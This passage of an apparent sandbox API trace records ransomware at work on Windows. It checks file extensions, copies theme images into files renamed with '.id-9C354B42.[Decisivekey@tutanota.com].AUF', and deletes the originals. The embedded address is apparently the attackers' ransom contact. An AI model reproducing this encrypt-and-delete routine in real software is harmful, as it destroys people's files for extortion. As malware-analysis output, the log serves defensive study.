lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString=".7z") returned 3 [0213.456] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".dbf") returned 4 [0213.456] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".1cd") returned 4 [0213.456] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0213.456] lstrlenW (lpString=".jpg") returned 4 [0213.456] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.456] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.456] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.457] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=19563) returned 1 [0213.457] CloseHandle (hObject=0x1e0) returned 1 [0213.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0213.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.457] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.457] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0213.458] GetLastError () returned 0x0 [0213.458] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0213.460] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0213.461] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.461] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.461] SetEndOfFile (hFile=0x208) returned 1 [0213.461] CloseHandle (hObject=0x208) returned 1 [0213.461] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.461] SetEndOfFile (hFile=0x1e0) returned 1 [0213.462] CloseHandle (hObject=0x1e0) returned 1 [0213.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0213.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".doc") returned 4 [0213.463] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString=".docx") returned 5 [0213.463] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.463] lstrlenW (lpString=".pdf") returned 4 [0213.463] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString=".xls") returned 4 [0213.463] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString=".xlsx") returned 5 [0213.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.463] lstrlenW (lpString=".ppt") returned 4 [0213.463] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".zip") returned 4 [0213.463] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString=".rar") returned 4 [0213.463] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString=".bz2") returned 4 [0213.463] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString=".7z") returned 3 [0213.463] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".dbf") returned 4 [0213.463] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".1cd") returned 4 [0213.463] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".jpg") returned 4 [0213.463] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".doc") returned 4 [0213.463] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString=".docx") returned 5 [0213.463] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.463] lstrlenW (lpString=".pdf") returned 4 [0213.463] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.463] lstrlenW (lpString=".xls") returned 4 [0213.463] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString=".xlsx") returned 5 [0213.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.463] lstrlenW (lpString=".ppt") returned 4 [0213.463] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.463] lstrlenW (lpString=".zip") returned 4 [0213.463] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.463] lstrlenW (lpString=".rar") returned 4 [0213.464] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.464] lstrlenW (lpString=".bz2") returned 4 [0213.464] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.464] lstrlenW (lpString=".7z") returned 3 [0213.464] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.464] lstrlenW (lpString=".dbf") returned 4 [0213.464] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.464] lstrlenW (lpString=".1cd") returned 4 [0213.464] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0213.464] lstrlenW (lpString=".jpg") returned 4 [0213.464] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.464] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.464] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.464] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1423) returned 1 [0213.464] CloseHandle (hObject=0x1e0) returned 1 [0213.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0213.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.465] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.465] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.467] GetLastError () returned 0x0 [0213.467] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x58f, lpOverlapped=0x0) returned 1 [0213.720] WriteFile (in: hFile=0x204, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x590, lpOverlapped=0x0) returned 1 [0213.720] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.720] WriteFile (in: hFile=0x204, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.721] SetEndOfFile (hFile=0x204) returned 1 [0213.721] CloseHandle (hObject=0x204) returned 1 [0213.721] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.721] SetEndOfFile (hFile=0x1e0) returned 1 [0213.721] CloseHandle (hObject=0x1e0) returned 1 [0213.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.722] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.722] lstrlenW (lpString=".doc") returned 4 [0213.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.722] lstrlenW (lpString=".docx") returned 5 [0213.722] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.722] lstrlenW (lpString=".pdf") returned 4 [0213.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.722] lstrlenW (lpString=".xls") returned 4 [0213.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.722] lstrlenW (lpString=".xlsx") returned 5 [0213.722] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.722] lstrlenW (lpString=".ppt") returned 4 [0213.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.722] lstrlenW (lpString=".zip") returned 4 [0213.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.722] lstrlenW (lpString=".rar") returned 4 [0213.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.722] lstrlenW (lpString=".bz2") returned 4 [0213.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.722] lstrlenW (lpString=".7z") returned 3 [0213.722] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.722] lstrlenW (lpString=".dbf") returned 4 [0213.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.722] lstrlenW (lpString=".1cd") returned 4 [0213.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString=".jpg") returned 4 [0213.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString=".doc") returned 4 [0213.723] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.723] lstrlenW (lpString=".docx") returned 5 [0213.723] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.723] lstrlenW (lpString=".pdf") returned 4 [0213.723] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.723] lstrlenW (lpString=".xls") returned 4 [0213.723] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.723] lstrlenW (lpString=".xlsx") returned 5 [0213.723] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.723] lstrlenW (lpString=".ppt") returned 4 [0213.723] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString=".zip") returned 4 [0213.723] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.723] lstrlenW (lpString=".rar") returned 4 [0213.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.723] lstrlenW (lpString=".bz2") returned 4 [0213.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.723] lstrlenW (lpString=".7z") returned 3 [0213.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString=".dbf") returned 4 [0213.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString=".1cd") returned 4 [0213.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0213.723] lstrlenW (lpString=".jpg") returned 4 [0213.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.723] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.723] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.724] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3611) returned 1 [0213.724] CloseHandle (hObject=0x1e0) returned 1 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0213.724] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.724] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.988] GetLastError () returned 0x0 [0213.988] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0214.004] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0214.004] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.004] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.004] SetEndOfFile (hFile=0x1f0) returned 1 [0214.004] CloseHandle (hObject=0x1f0) returned 1 [0214.005] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.005] SetEndOfFile (hFile=0x1e0) returned 1 [0214.005] CloseHandle (hObject=0x1e0) returned 1 [0214.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.006] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.006] lstrlenW (lpString=".doc") returned 4 [0214.006] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.006] lstrlenW (lpString=".docx") returned 5 [0214.006] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.006] lstrlenW (lpString=".pdf") returned 4 [0214.006] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.006] lstrlenW (lpString=".xls") returned 4 [0214.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.006] lstrlenW (lpString=".xlsx") returned 5 [0214.006] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.006] lstrlenW (lpString=".ppt") returned 4 [0214.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.006] lstrlenW (lpString=".zip") returned 4 [0214.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.006] lstrlenW (lpString=".rar") returned 4 [0214.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.006] lstrlenW (lpString=".bz2") returned 4 [0214.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.006] lstrlenW (lpString=".7z") returned 3 [0214.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.006] lstrlenW (lpString=".dbf") returned 4 [0214.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.006] lstrlenW (lpString=".1cd") returned 4 [0214.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.006] lstrlenW (lpString=".jpg") returned 4 [0214.006] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.007] lstrlenW (lpString=".doc") returned 4 [0214.007] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.007] lstrlenW (lpString=".docx") returned 5 [0214.007] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.007] lstrlenW (lpString=".pdf") returned 4 [0214.007] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.007] lstrlenW (lpString=".xls") returned 4 [0214.007] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.007] lstrlenW (lpString=".xlsx") returned 5 [0214.007] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.007] lstrlenW (lpString=".ppt") returned 4 [0214.007] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.007] lstrlenW (lpString=".zip") returned 4 [0214.007] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.007] lstrlenW (lpString=".rar") returned 4 [0214.007] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 